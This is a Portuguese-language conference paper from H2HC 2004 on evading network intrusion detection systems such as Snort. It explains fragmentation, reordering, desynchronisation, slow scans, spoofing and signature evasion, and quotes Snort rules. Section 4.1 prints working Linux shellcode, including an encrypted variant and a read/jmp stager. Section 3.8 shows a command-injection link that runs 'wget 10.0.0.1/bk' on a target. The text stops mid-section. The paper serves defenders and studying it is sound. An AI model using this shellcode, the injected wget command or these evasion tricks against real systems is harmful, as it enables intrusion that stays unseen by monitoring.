



## Intruders Tiger Team Security

<http://www.intruders.com.br/>

## Breaking NIDS

Por Glaudson Ocampos

[nashleon@yahoo.com.br](mailto:nashleon@yahoo.com.br)

### Overview:

Este documento tem o propósito de descrever possíveis problemas encontrados em implementação de NIDS. Trata-se de uma versão atualizada do documento escrito para a palestra que ministrei no primeiro Hackers 2 Hackers Conference – H2HC, que ocorreu em Brasília, nos dias 24 e 25 de Novembro de 2004. Maiores informações sobre o evento acesse o site [www.h2hc.org.br](http://www.h2hc.org.br).

## Sumário

<b>Prefácio</b>	<b>xii</b>
1 - Introdução a NIDS	05
2 - Detecção de Regras	06
3 - Técnicas de Evasão	07
3.1 – Fragmentação de Pacotes	07
3.2 – Desordenização	09
3.3 – Desincronização	10
3.4 – Avoiding Default	11
3.5 – Slow Scans	12
3.6 – Ataques Coordenados	14
3.7 – Spoof	14
3.8 – Proxy e Robots	15
3.9 – Pattern Match Evasion	16
4 - Exemplos de Ataques Comuns	17
4.1 – Ataques de Buffer Overflows	17
4.2 – Ataques de PortScan / OS FingerPrint	23
4.3 - Ataques de SQL Injection / WEBHacking	27
4.4 – Ataques de Brute Force	29
4.5 – Backdoors e Trojan Horses	30
4.6 – Denial of Service	31
5 - Outros Problemas em NIDS	32
5.1 – Redes Switched	32
5.2 – Redes de Alta-Transmissão	33
5.3 – Falhas no Software NIDS	33
5.4 – Serviços Criptografados	34
6 - Ferramentas Públicas	35

7 - O Futuro das NIDS	36
8 – Conclusão	38
9 – Créditos	39

## **Prefácio**

Dedico este documento a todos os organizadores e palestrantes do I Hackers To Hackers Conference, pela disposição em implementar um evento de excelente nível técnico.

Dedico este documento aos participantes e público em geral que estiveram presentes durante esses dois dias do primeiro Hackers 2 Hackers Conference e trocaram informações que muito nos enriqueceram.

Agradeço o Intruders Tiger Team Security e a seus membros Wendel Guglielmetti Henrique Gullelmin - dum\_dum e Waldemar Nehgme - Wnehgme, por fornecer recursos e condições para a implementação de ferramentas e testes.

E Agradeço principalmente a Jeová por todas as coisas.

Intruders Tiger Team Security ([www.intruders.org.br](http://www.intruders.org.br)) é um projeto focado em pesquisa e desenvolvimento de ferramentas para Pen-Test e projetos especiais sob demanda. Conta com uma equipe de profissionais altamente qualificados que têm descoberto diversas falhas em sistemas e aplicativos.

## **Objetivos**

O Objetivo deste documento é demonstrar possibilidades de quebra de um sistema NIDS. O Autor executou diversos testes e utilizou diversas ferramentas para repassar a maior quantidade possível de informações com o objetivo de alertar os Administradores de Rede e Equipes de Analistas de Segurança sobre os possíveis problemas que um sistema NIDS pode apresentar.

Para cada item são demonstrados configurações de teste utilizando alguns NIDS, dando ênfase ao Snort[SNO1], onde ambientes de testes podem ser produzidos.

Algumas das telas exibidas no documento foram usadas no I H2HC – Hackers to Hackers Conference, os demais slides podem ser baixados no site do evento.

# **1 - Introdução a NIDS**

Um Sistema de Detecção de Intrusos (IDS) é uma tecnologia de segurança que procura identificar e isolar tentativas de invasão em sistemas de computador.

De um modo geral, toda tecnologia que visa detectar ataques que ocorreram e/ou tentativas de ataques recebe hoje o nome de IDS.

Existem várias classificações de IDS e define-se como NIDS(Network IDS) , os Sistemas de Detecção de Intrusos que atuam a nível de rede. Através de uma interface executando em modo promíscuo, um NIDS é capaz de monitorar uma rede em tempo real no intuito de detectar tentativas de invasão, ataques oriundos de worms e também anomalias na transmissão de dados da rede.

Alguns Softwares NIDS muito usados são o Snort[SNO1], Real Secure[REA1], Prelude[PRE1] e etc.

A grande maioria dos NIDS utiliza alguns conceitos para a detecção de ataques. Estes conceitos são diversos, mas podemos enumerar alguns:

- Assinatura de Ataques -> Com base nos exploits criados e métodos padrões de ataque, um NIDS utiliza um base de dados de regras(assinaturas) capaz de detectar quando um ataque está ocorrendo;
- Anomalia na Rede -> Com base em padrões de protocolo e serviços, um NIDS é capaz de detectar anomalias no serviço através de dados estranhos transitando pelo protocolo (por exemplo, ICMP túnel);
- Falhas de Autenticação -> Sucessivas falhas na autenticação de um usuário (string de erro de autenticação num curto período de tempo), podem alarmar um NIDS, fazendo com que o mesmo detecte um ataque de Força Bruta.

Estes conceitos tem sido debatidos ao longo dos anos. No decorrer deste artigo, pretendo demonstrar o quão problemático esses conceitos podem ser e também demonstrar esquemas de exploração práticos.

## 2 - Detecção de Regras

Os ataques do tipo “Detection” compreendem a capacidade de detectar quais regras, configurações e uso que um determinado sistema de detecção de intrusos possui em uma determinada rede alvo.

Existem sistemas de IDS que “derrubam” a conexão (Active Sniffing/IDS) procurando impedir ataques em “Run-time”. Eles atuam de modo ativo na detecção de ataques, analisam os pacotes que estão transitando pela rede(interface) e tem o poder de dropar/bloquear a conexão quando detecta ataques em tempo real. Para isso, um sistema NIDS precisa estar num local privilegiado da rede para poder enviar pacotes muitas vezes no lugar da máquina destino. Nestes casos, não é incomum o atacante saber que “rumo ao alvo” existe um sistema de monitoração.

Esta característica torna o sistema propenso à detecção de regras com exatidão por parte do atacante, onde se enviaria um determinado ataque e se a conexão permanecesse ativa, ele então saberia se determinada regra está ativa e também quais meios empregar para ser bem sucedido.

Um exemplo de Active/IDS barrando um ataque pode ser visto abaixo:

```
root@kimera:~# telnet 10.24.0.4 21
Trying 10.24.0.4...
Connected to target.
Escape character is '^]'.
220 ProFTPD 1.2.5 Server (ProFTPD Default Installation)
[kimera.localdomain]
USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Connection closed by foreign host.
```

Acima vemos uma tentativa de exploração de um servidor ProFTPD onde um atacante tenta enviar NOPS ou PADDINGS através do comando USER e sua conexão é devidamente barrada.

Um ferramenta de Active NIDS muito utilizada com o Snort é o Guardian[GUA1]. Trata-se de scripts em perl que irão ler os logs do Snort e inserir regras num firewall local para se bloquear em tempo real os ataques.

Muitas vezes para que um atacante consiga descobrir um Active NIDS, ele precisa enviar seqüências de ataques conhecidos. Uma ferramenta foi criada para facilitar ainda mais as investidas, trata-se do AFD – Active Filtering Detector e pode ser baixado em:

<http://www.purehacking.com.au/afd/downloads.php>

Uma vez que o atacante descobre que uma determinada rede possui um sistema NIDS instalado e que o mesmo atua como Active NIDS, inserindo o IP do Atacante no

Firewall, um atacante inteligente poderia então investir usando ataques com esquemas de evasão, para que o Active NIDS não viesse derrubá-lo. Aprenderemos isso no próximo capítulo.

O Snort possui dentro de si um recurso chamado “flexresp” que faz com que o próprio Snort atue como um Active/NIDS. Para usá-lo basta compilar o snort com a opção “-enable-flexresp” ativada e na regra inserir a tag “resp”.

Esta detecção leva um questionamento ao projetista de segurança em perímetro:

- Não é perigoso a utilização de um Active NIDS?

### **3 - Técnicas de Evasão**

Neste item iremos ver algumas possíveis técnicas de evasão que têm sido muito utilizadas por atacantes avançados para se quebrar a segurança de um NIDS. Algumas técnicas são mais simples de serem implementadas enquanto outras necessitam de maiores recursos e técnicas de programação.

O sucesso das técnicas varia de acordo com a complexidade da mesma bem como do Sistema NIDS que se encontra na rede alvo. Na maioria dos casos, as técnicas de evasão tendem a ser bem sucedidas.

#### **3.1 - Fragmentação**

É a habilidade de dividir um único pacote IP em múltiplos pacotes menores (quando usado com “low”[transmissão lenta] se torna mais letal ainda). Muitos softwares e sistemas operacionais têm problemas ao manusear fragmentos de pacotes, e ataques recentes podem ser vistos no FreeBSD e LibNIDS.

O Protocolo TCP/IP permite a fragmentação “transparente” de pacotes. Um pacote pode então ser dividido em múltiplos pacotes menores que irão trafegar separadamente até chegar ao host destino. A tela abaixo demonstra um pacote sendo dividido e enviado para o host alvo:



Abaixo, podemos ver como os dados serão interpretados. O NIDS poderá analisar apenas os segmentos separados, fazer uma checagem na base de dados de apenas “parte” do conteúdo total dos pacotes. Como a regra deve ser para todo o pacote, o sistema de checagem pode falhar e o pacote pode ser entregue ao host destino(alvo), que depois de receber todos os pacotes, vai reconstruir o conteúdo original e processar os dados enviados:



Então podemos contemplar que o NIDS “enxergará” apenas parte do pacote, enquanto o host alvo por fim irá processar o pacote completo.

Alguns NIDS possuem recursos para tratar pacotes fragmentados, no entanto, por não possuírem uma pilha TCP/IP completa, muitas vezes, tendem a apresentar problemas. Isso é especialmente real quando um pacote possui inúmeros fragmentos, sendo muito complicado para redes de grande porte implementar esta detecção, pois, trata-se de um recurso existente no modelo TCP/IP.

O Snort possui um recurso para processar pacotes fragmentados denominado “fragbist” que é usado para se detectar se bits de fragmentação ou reservados estão ativos num cabeçalho IP, e também “fragoffset” que é usado para se comparar um offset de fragmento com um determinado dado de um fragmento, podendo ainda ser usado para se “agarrar” os primeiros dados de uma seqüência de pacotes fragmentados.

### 3.2 - Desordenização

Além de um pacote poder ser fragmentado, o protocolo TCP/IP possui outro recurso complexo e interessante para se atacar NIDS. Um pacote pode ser enviado sem seguir uma seqüência exata, podendo o segundo fragmento de um pacote ser o décimo fragmento a chegar no host destino, por exemplo. Cabe à pilha TCP/IP do host destino agrupar os pacotes e ordená-los na seqüência exata.

Sabendo disso, um NIDS precisa ser capaz de reordenar na seqüência exata os pacotes que foram fragmentados e enviados de forma desordenada, reconstruir os pacotes e analisar se bate com alguma assinatura na base de dados de assinaturas. Se um NIDS não possui este recurso, um atacante pode então enviar dados que serão processados pelo host alvo e passarão pelo sistema de captura do NIDS. Este é um dos ataques mais interessantes contra um NIDS, pois não é tão complexo de se realizar.

Abaixo podemos ver uma tela ilustrativa:



Podemos ver acima que uma sequência de pacotes fragmentados(A,B,C,D,E,F,G,H) é enviado para um host destino, só que de forma desordenada. Os pacotes chegam na sequência H->B->A->-C->E->F->D->G. O NIDS vai enxergar o conteúdo de forma “incorreta” se ele não fizer uma reordenação. Enxergando o pacote de forma incorreta, o pacote que pode ser nocivo não vai coincidir com a regra presente na base de dados de assinaturas e com isso, o atacante vai conseguir ser bem sucedido em se evadir do NIDS.

Para combater este tipo de ataque, o NIDS precisa ter a capacidade de reordenar os pacotes. Um recurso existente em alguns NIDS chama-se “State Tracking”, onde um NIDS processa os pacotes de forma semelhante a uma pilha TCP/IP, no entanto, isso requer muitos recursos de máquina e pacotes com múltiplos fragmentos podem ainda assim causar problemas.

### **3.3 - Desincronização**

Uma pilha TCP/IP real é capaz de distinguir quando um pacote deve ser aceito e quando ele deve ser descartado. Ela considera um pacote inválido quando este pacote não obedece às normas do TCP/IP, mais precisamente quando o pacote possui campos inválidos para a conexão estabelecida.

Diferente de uma pilha TCP/IP completa, os softwares NIDS e muitos sniffers apenas capturam os dados que estão transitando em uma interface de rede, eles não processam as informações contidas nos cabeçalhos dos pacotes.

Diante deste cenário, é possível enviar pacotes inválidos para o host destino (que possui a pilha TCP/IP completa) que vai descartar o pacote e não vai interferir na troca de dados, mas esses dados serão lidos pelo NIDS que “pensará” que se trata de dados válidos, de pacotes válidos e terminará processando informações inválidas.

Existem vários métodos para executar este tipo de ataque, um deles consiste no atacante inserir pacotes extras com caracteres sobre uma transação, que serão inválidos e não serão processados pelo host, mas que os NIDS poderão aceitar os caracteres e falhar em ver o que realmente está acontecendo.

Um exemplo básico consiste em enviar a seguinte sequência de pacotes:

GET /cgi-b – (Pacote Válido)

NASH - (Pacote Inválido)

in – (Pacote Válido)

O NIDS interpreta como sendo “GET /cgi-NASHin” já o sistema operacional interpreta “GET /cgi-bin”.

Existem várias formas para enviar um pacote inválido ao host destino e que o NIDS pode interpretar, alguns deles são:

- Inserir Dados com Número de Sequência Errado;
- Spoofar pacotes FIN/RST com Número de Sequência Errado;
- Inserir Dados com TCP Checksum Errado;
- Spoofar pacotes FIN/RST com TCP Checksum Errado;
- Inserir Dados com TTL curto;
- Spoofar pacotes FIN/RST com TTL curto;

Alguns ataques de dessincronização são complexos e necessitam de um suporte no kernel para funcionar corretamente. No entanto, muitos atacantes avançados e equipes de pen-test profissionais possuem softwares para automatizar este tipo de ataque.

Alguns NIDS afirmam que conseguem detectar este tipo de ataque utilizando o conceito chamado “State Tracking”. No entanto, muitos benchmarks e testes têm demonstrado problemas nesta questão.

### 3.4 - Avoiding Defaults

Um sistema NIDS possui em sua Base de Dados de Assinaturas muitas assinaturas padrões para ataques padrões. Um atacante sabendo disso pode tentar quebrar a segurança de um sistema e se evadir ao NIDS por evitar as regras padrões presentes no NIDS. Isso é especialmente preocupante em sistemas onde a equipe de segurança tende a inserir as regras que foram desenvolvidas por terceiros.

Um exemplo real pode ser o seguinte: um atacante pode instalar uma backdoor conhecida, por exemplo, NetBUS, em uma porta desconhecida, inutilizando a regra padrão para NetBUS no Snort que seria a porta 12345 ou 12346.

```
alert tcp $HOME_NET 12345:12346 -> $EXTERNAL_NET any (msg:"BACKDOOR netbus active"; flow:from_server,established; content:"NetBus"; reference:arachnids,401; classtype:misc-activity; sid:109; rev:4;)
```

Deste modo, o NIDS estaria aguardando conexões em portas específicas quando o atacante estaria se conectando a uma porta que evitaria a execução da regra acima.

Então, é importante que se leve em conta este tipo de ataque ao se trabalhar com regras. Especialmente regras de oriundos (fabricantes de NIDS, software públicos, etc). É

aconselhável que se utilize regras mais inteligentes para se detectar ataques genéricos ao invés de usar assinaturas para portas específicas ou backdoors amplamente difundidas. Regras inteligentes tendem a ser enxutas e cobrir o maior número possível de ferramentas.

### 3.5 - Slow Scans

Em muitas redes o volume de tráfego de pacotes é muito alto e por causa deste volume de tráfego em rede, um NIDS precisa não gerar dados muito lentos no log, precisa liberar buffers de memória o mais rápido possível. Um atacante pode então aproveitar-se deste problema, um exemplo que podemos ver é em ataques do tipo portscan. Um portscan muito demorado, poderá passar despercebido por uma ferramenta NIDS).

Abaixo temos uma tabela de um portscan comum sendo detectado e o tempo de permanência do estado dos pacotes num buffer:

**“Técnicas de Evasão”**

**Slow Scans:**

**Tabela de Um Ataque Comum Sendo Detectado**

Horário	PortScanning:	Log no NIDS:	Tempo no Buffer:
11:32	nmap -sT -p 21	10.24.0.8->21	5 minutos*
11:32	nmap -sT -p 22	10.24.0.8->21 10.24.0.8->22	5 minutos*
11:33	nmap -sT -p 23	10.24.0.8->21 10.24.0.8->22 10.24.0.8->23	<b>Ataque Detectado!</b>

Podemos notar acima, que em menos de 1 minutos, um mesmo IP(10.24.0.8) tentou se conectar em 3 portas diferentes. Cada vez que ele tentava se conectar em uma determinada porta, o seu IP era inserido num buffer com um temporizador à espera de novas conexões. Ao se chegar a 3 conexões, foi-se detectado um ataque do tipo portscan.

O meio mais inteligente para se evadir deste tipo de recurso seria quebrar o “temporizador”. Isso pode ser feito através de *Slow Scan*, onde um atacante executa conexões diversas num intervalo de tempo superior ao presente no temporizador. Assim, as conexões antigas que ele realizou serão removidas do buffer de memória e para efeitos de visualização do NIDS, cada conexão que ele fizer vai ser sempre a primeira conexão, evitando assim a detecção.

Abaixo temos uma tabela para este tipo de ataque:

**“Técnicas de Evasão”**

**Slow Scans:**

**Tabela de Um Ataque Slow Scan:**

Horário	PortScanning:	Log no NIDS:	Tempo no Buffer:
14:08	<code>nmap -sT -p 21</code>	10.24.0.8->21	5 minutos*
17:45	<code>nmap -sT -p 22</code>	10.24.0.8->22	5 minutos*
20:15	<code>nmap -sT -p 23</code>	10.24.0.8->23	5 minutos*

**O Ataque Não Foi Detectado!**

Se analisarmos os campos da tabela acima, veremos que o intervalo entre a conexão de uma porta a outra é bastante elevado/lento(slow), chegando a um intervalo de até mais de três hora. Isso é tempo suficiente para que o temporizador já tenha removido do buffer a primeira entrada do IP do atacante, fazendo com que a segunda conexão seja visualizada como sendo a primeira e assim sucessivamente.

É muito difícil solucionar os problemas que Slow Scan apresenta a um sistema NIDS. É aconselhável que se trabalhe várias regras para se detectar portscan, sempre tendo em mente que um atacante avançado pode ser bem sucedido em levantar os serviços que estão em execução.

### 3.6 - Ataques Coordenados

Os ataques coordenados, onde um atacante utiliza centenas e até milhares de máquinas de modo coordenado têm sido muito utilizados por crackers com conhecimentos avançados. Os ataques coordenados são preocupantes não apenas no que diz respeito a Denial of Service Distribuído(DDoS), mas também em ataques que visam camuflar o IP real de um atacante.

Scan de múltiplos IPs dominados por um atacante pode não gerar alarmes no sistema (fazendo poucas requisições por máquina(IP) dominado) e redirecionando qualquer forense para máquinas de terceiros.

Os problemas ainda podem ser maximizados se milhares de computadores conseguirem invadir o host alvo. Possíveis análises “post-mortem” da máquina alvo e do NIDS podem se tornar complicadas em tais casos.

Um diagrama para este tipo de ataque pode ser visualizado abaixo:



Um atacante invade várias máquinas (hoje é comum máquinas ADSL usadas por usuários leigos) e as utiliza para gerar entradas “falsas” num sistema NIDS.

### 3.7 - Spoof

Um Sistema NIDS gera seus logs de ataques baseados no IP da máquina atacante. Infelizmente este modelo é sujeito a inúmeros problemas, e um desses problemas é a

possibilidade de se inserir entradas falsas no sistema de log.

Um atacante pode conseguir inserir IPs falsos no sistema de log por enviar pacotes spoofados (endereços de origem falsificados). O NIDS é incapaz de descobrir quando um pacote é spoofado ou não.

Pode-se ainda gerar ataques do tipo Smurf para ludibriar o sistema NIDS (LD-Scanning), gerar muitos logs falsos (Decoy Scan) dificultando qualquer posterior Análise de Log e Forense.

O NIDS pode ainda não detectar ataques, pois, imagina que estão vindo de uma interface externa:

```
alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"DOS Teardrop attack";
id:242; fragbits:M; reference:cve,CAN-1999-0015;
reference:url,www.cert.org/advisories/CA-1997-28.html;
reference:bugtraq,124; classtype:attempted-dos; sid:270; rev:2;)
```

\* teardrop = ataque utilizando fragmentação de pacotes, fazendo reassembly ocorrer de maneira inesperada;

No Snort, \$EXTERNAL\_NET pode ser definido como qualquer computador diferente de \$HOME\_NET, no entanto o atacante pode enviar pacotes fazendo com que os endereços de origem apontem para um IP da HOME\_NET, executando assim um ataque, por exemplo, do tipo teardrop ludibriando o sistema.

Se o atacante estiver no mesmo segmento de rede ou na rede interna, ele pode utilizar os conceitos de LD\_SCANNING para gerar logs falsos, e pode até mesmo utilizar IP Hijacking (ARP Poison) para entupir o sistema NIDS com dados falsos.

Isso demonstra claramente que a Análise de Logs de um sistema NIDS precisa ser feito por pessoas que identifiquem profundamente os possíveis ataques que podem estar sendo executados. Infelizmente muitas equipes de segurança deixam a desejar quanto a esta questão, correndo um sério risco de fazerem análises erradas e até mesmo pensarem que os ataques são oriundos de locais errados.

### 3.8 - Proxy e Robots

Muitos dos problemas ocasionados por Spoof também podem ser ocasionados com o uso de proxies (bouncing). Um atacante pode camuflar seu endereço real, dificultando ao sistema de segurança saber quem (de onde) está atacando realmente. A quantidade de proxies ativos e abertos na Internet propicia ao atacante fazer conexões legítimas camuflando seu real IP. Outro ponto importante reside no uso de **Robots** para a execução de determinados ataques, camuflando o endereço para o endereço de um Robot e em muitos

casos gerando muitas informações falsas no sistema de log.

Um atacante pode então colocar um link nocivo dentro de uma página da Internet, por exemplo:

```
<a href=http://host-alvo/cgi-bin/bug?cmd=wget 10.0.0.1/bk>clickme</a>
```

Poderia então aguardar ou requisitar que um robot (Google, Yahoo, etc) viesse a executar o link e ativar o ataque. O Sistema NIDS então detectaria o ataque como sendo procedente do IP do Robot, permitindo assim que o atacante ficasse camuflado.

Novamente devemos dar ênfase à questão da análise correta de logs. Atacantes avançados que desejam esconder seu IP de origem podem estar mais próximos do que se imagina.

### 3.9 - Pattern Match Evasion

Cada pacote recebido em um sistema NIDS é processado e comparado com uma base de dados de assinaturas. Muitas vezes alguns testes são realizados para se verificar com exatidão se os pacotes coincidem com a regra declarada. Dá-se a esse processo o nome de Pattern Match.

Atacantes podem tentar quebrar esses sistemas diretamente através das inúmeras possibilidades em que dados podem ser representados. Dependendo de “N” fatores, como o protocolo a ser trabalhado, o serviço em execução, o daemon de espera, o idioma, sistema operacional presente no host destino, é possível representar determinados dados de formas diferentes. E é isso atacantes avançados tentam explorar.

Muitos exemplos de Evasão a Pattern Match serão demonstrados no Capítulo 4 que tratará de exemplos de ataques, no entanto, podemos ver um exemplo simples para ilustrar este problema.

A sequência de caracteres `../` (ponto, ponto e barra) pode ser representada de diversas formas, tais como:

```
.“.”/      .\./      ../       \./
```

Dependendo da shell, do programa em execução, todos os exemplos acima podem ser possíveis. Então uma regra a espera de `“../”` poderia ser ineficaz na detecção dos caracteres enviados acima.

O mesmo se aplica a diversos outros casos. No próximo item irei demonstrar várias possibilidades reais.

Novamente fica evidente que uma equipe de segurança precisa sempre ter em seu meio alguém que conheça profundamente os ataques. O conhecimento por parte da equipe de segurança precisa sempre antecipar o que os atacantes avançados podem ser fazendo.

## **4 - Exemplos de Ataques**

### **(Regras no Snort)**

Alguns dos ataques mais comuns utilizados em sistemas Internet (TCP/IP) podem utilizar os conceitos de evasão para passarem despercebidos pelos NIDS e não serem barrados. Neste item veremos alguns exemplos de ataques comuns e alguns problemas que os sistemas mais comuns de NIDS enfrentam. Os exemplos serão para o Snort, mas são expansíveis a qualquer sistema NIDS que utilize conceitos semelhantes de detecção de ataques.

### **4.1 - Ataques de Buffer Overflows**

Buffer Overflow é uma técnica que é usada para descrever o ato de encher um pedaço de memória com mais dados do que ela suporta, permitindo muitas vezes a um atacante alterar o fluxo de execução de um programa.

Muitos ataques de Buffer Overflows utilizam um payload (códigos que serão executados na máquina destino) denominado shellcodes. Shellcodes são pequenas instruções assembly que são usados para executar uma shell ou comandos shell, tipicamente como um resultado de um ataque de buffer overflow.

Vejamos alguns exemplos de ataques de Buffer Overflows que visam se evadir da detecção de um NIDS com base em assinaturas.

#### **- Regras Contra NOPs (inclui NIDSFindShellcode);**

É muito comum um NIDS possuir regras para detecção de instruções vazias (NOPS) em uma base de dados. Mas o que são NOPS ou instruções vazias?

Em determinados casos, um atacante pode tentar obter acesso a um sistema através de falhas conhecidas como Buffer Overflows e Format Strings. Ataques de Buffer Overflows exploram falhas no designer de um programa que muitas vezes permite a um atacante obter o controle da execução do mesmo. Quando um atacante obtém o controle da execução de um programa, por exemplo, de um servidor, ele procura na maioria das vezes obter acesso a uma shell remota que proporcionará maiores condições para que ele venha dominar toda a máquina ou todo o sistema operacional, mais precisamente elevar o privilégio para super-usuário.

No entanto, em alguns casos a exploração via Buffer Overflows ou Format Strings é necessário a utilização de instruções vazias (NOPs), encontradas no buffer a ser usado no redirecionamento da execução. Um atacante pode utilizar uma cadeia de NOPs para ser



Como se evadir tal regra?

Existem várias formas, sendo algumas mais comuns, entre elas a substituição da instrução NOP por uma equivalente.

Na arquitetura Intel x86, temos uma enorme tabela de equivalência de instruções “vazias” que substituem a instrução NOP.

Algumas delas são:

JMP 0x01 – 0xeb 0x01

INC EAX – 0x40

DEC EAX – 0x48

<b>Operação</b>	<b>Valor em Hexadecimal</b>	<b>Representação ASCII</b>
inc %eax	40	@
inc %ecx	41	A
inc %edx	42	B
inc %ebx	43	C
inc %esp	44	D
inc %ebp	45	E
inc %esi	46	F
inc %edi	47	G
dec %eax,	48	H

Uma lista mais completa pode ser vista em:

<http://cansecwest.com/noplist-v1-1.txt>

Então, um atacante pode perfeitamente utilizar NOPs diferentes de 0x90 para se evadir da regra, para isso basta substituir a instrução presente dentro do exploit para buffer overflow.

Outra possível forma de se evadir é o não uso de NOPs. É possível em determinados casos, encontrar um endereço de retorno “exato”, fazendo com que não haja a necessidade do uso de NOPs. Se um atacante é capaz de fazer depuração no sistema alvo, ele pode obter informações capazes de fornecer o endereço de retorno. Isso é muito comum em ataques envolvendo “Format Strings”.

Ele pode ainda tentar descobrir o endereço exato utilizando um brute force

inteligente.

## - Regras Contra Shellcode

Uma das formas de tentar detectar um ataque através de NIDS, é a utilização de regras para tentar detectar shellcodes públicos. A grande maioria dos exploits públicos tentarão executar um shellcode que executa um simples “/bin/sh” em sistemas Unix (Linux), por exemplo.

Sabendo disso, um NIDS pode ficar a espera da string “/bin/sh” passar em modo binário ou texto, detectando assim uma possível tentativa de ataque.

Um exemplo de regra para isto usando o snort segue abaixo:

```
alert ip any any -> any any (msg:"SHELLCODE Linux shellcode";content:"|2f
32 39 3e 2f 43 38|"; reference:arachnids,343;sid:652; rev:9;)
```

Acima vemos a string /bin/sh sendo aguardada como conteúdo de um pacote a espera para “berrar” como uma tentativa de ataque. Um shellcode padrão Mudge/Aleph0ne seria detectado facilmente. Abaixo temos o exemplo de um:

```
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
```

Vejamos abaixo uma tela de detecção:

## “Exemplos de Ataques”

### Ataques de Buffer Overflows

```
/* Ataque ponte selecionado */  
/*] 5.LLLECODE Linux shellcode /*]  
05/23-11: 4: 32327024 10.14.0.5:33020 -> 10.24.0.1:33000  
len= 11364 tos=070 1:52854 ip len=20 1:160: 1:6: 04  
***XP*** seq: 5212MTC339 Ack:0.67AFIE01C #Len:0x2600 TcpLen: 32  
Op: 0p: 1008 10] -> x02 NOE 2 3: 917706219 461063
```

No entanto, existem inúmeras formas de se passar por este mecanismo de proteção, algumas delas são:

+ Executar outro comando ou outra shell;

```
char shellcode[] =
```

```
"\xeb\x1f\x5e\x89\x76\x0a\x31\xc0\x88\x46\x09\x89\x46\x0e\xb0\x0b\x89"
```

```
"\xf3\x8d\x4e\x0a\x8d\x56\x0e\xcd\x80\x31\xdb\x89\xd8\x40xcd\x80\xe8"
```

```
"\xdc\xff\xff\xff/bin/tcsh";
```

No exemplo acima, podemos ver claramente que a shell a ser executada é a Turbo C (tcsh). Poderia se trabalhar ainda a csh, ash, zsh, etc.

+ Não executar uma shell propriamente dita, mas usar read() e execve() ou jmp;

```
char read_jmp[] =
```

```
"\x31\xd2\x31\xdb\xb0\x03\x8d\x8c\x24\x06\xff\xff\xff\xb2\xfa\xcd\x80\xff\xe1";
```

É possível a criação de shellcodes para ficar à espera de dados binários a serem executados. Acima temos o exemplo de um shellcode que fará read() seguido de jmp \*ecx (onde os dados enviados a read estarão armazenados).

+ Encriptar o Shellcode;

char shellcode[] =

```
"\x31\xc0xeb\x22\x5b\x8b\x53\x08\x31\x13\x31\x53\x04\x31\xd2\x89"  
"\x5c\x24\x08\x89\x54\x24\x0c\xb0\x0b\x8d\x4c\x24\x08\xcd\x80\x31"  
"\xdb\x89\xd8\x40xcd\x80\xe8\xd9\xff\xff\xff"  
"\x7a\x37\x3c\x3b\x7a\x26\x3d\x55" /* /bin/sh encriptado */  
"\x55\x55\x55\x55"; /* Chave conversora */
```

No shellcode acima temos um exemplo de string /bin/sh sendo encriptada. Então, o sistema NIDS iria ler a string encriptada, comparar com a base de dados de assinatura e assim não conseguiria ser bem sucedido em detectar o ataque.

Logo, da mesma forma que podemos usar um shellcode criptografado para evadir de um NIDS, nós também podemos usar um “*sistemas de polimorfismo*” para gerar um decrypt (rotina de decriptografia) e uma chave conversora mutável (conceito de polimorfismos de Dark Avenger presente no mundo da escrita de vírus) em um shellcode e conseguir evadir do NIDS.

Durante a I Hacker to Hackers Conference, o Rodrigo Rubira demonstrou este conceito em uma ferramenta de auditoria própria denominada SCMorphism:

<http://www.bsdaemon.org/index.php?name=files>

Fica evidente que tentar detectar payloads usados num ataque de buffer overflows é altamente desaconselhável. Script kiddies e Defacers podem até ser barrados com estas regras, no entanto atacantes avançados não seriam.

Vale frisar ainda que ferramentas frameworks de pen-test utilizam criptografia básica para payloads, de modo que, não se deve confiar em tais regras para detectar buffer overflows.

Outros esquemas podem ser trabalhos como checar os dados de saída, mas mesmo assim, não é 100% garantido. Existem conceitos para se detectar shellcodes polimórficos que estão sendo trazidos para os NIDS do mundo dos Anti-vírus, que trabalham em cima de “análise spectral”. Mas exige um grande poder de processamento e também a capacidade de simulação de código em run-time (uma máquina virtual).

## - Regras Contra Exploits

Vemos que é possível para um atacante avançado quebrar regras contra shellcodes e contra NOPs. Mas o que dizer de exploits propriamente ditos?

Muitas vezes um sistema NIDS visa detectar ataques através de captura de exploração específica ou de exploits específicos. Um exemplo de regra pra isso pode ser visto abaixo:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"EXPLOIT gobbles SSH exploit attempt"; flow:to_server,established; content:"GOBBLES"; reference:bugtraq,5093; classtype:misc-attack; sid:1812; rev:2;)
```

Para se evadir desta regra basta utilizar um exploit seu ou alterar qualquer pacote inútil que sirva como detecção do ataque. Para quebrar a regra acima, bastaria mudar ou remover a string GOBBLES de qualquer pacote enviado pelo exploit (alterando o source ou binário do exploit).

Exploits personalizados são uma constante na comunidade hacker e de pen-tests. Não raro atacantes avançados criam suas próprias ferramentas de invasão. Regras como as citadas acima só servem para capturar tentativas de ataques de script kiddies e defacers, cujo conhecimento técnico é notadamente fraco.

É aconselhável às equipes de segurança contemplarem a criação de regras para detectar dados anômalos do lado do servidor. Deste modo, independente de qual exploit será utilizado pelo atacante, os dados oriundos do servidor é que serão analisados e não oriundos do atacante.

## 4.2 - Ataques de Portscan e OS Fingerprint

Apesar de muitos atacantes avançados relutarem em executar ataques de Portscan, os ataques de portscan ainda representam um grande perigo na metodologia utilizada por muitos atacantes para se obter acesso a um sistema.

Muitos analistas de segurança não consideram uma tentativa de portscan como sendo um ataque, mas deve-se levar em conta que a fase de “Gathering Information”, fase onde um atacante está colhendo informações de uma rede alvo, pode ser executada através de um portscan.

Com isso em mente, várias regras visam detectar ataques de portscan. Vimos no capítulo 3 a possibilidade de se utilizar Slow Scan para esse objetivo, bem como o uso de ataques coordenados. Agora iremos ver mais alguns vetores que tornam possível este tipo de investida, bem como alguns vetores para se descobrir qual o sistema operacional está em execução na máquina destino.

### - Regras Detectando PortScan(NMAP)

Atuando da mesma forma como se detecta ataques de exploração, os sistemas NIDS executam uma checagem de pacotes para analisar ataques de portscan. Vejamos um exemplo de regra para detecção de portscan através do uso da ferramenta mais conhecida de portscan que é o NMAP:

```
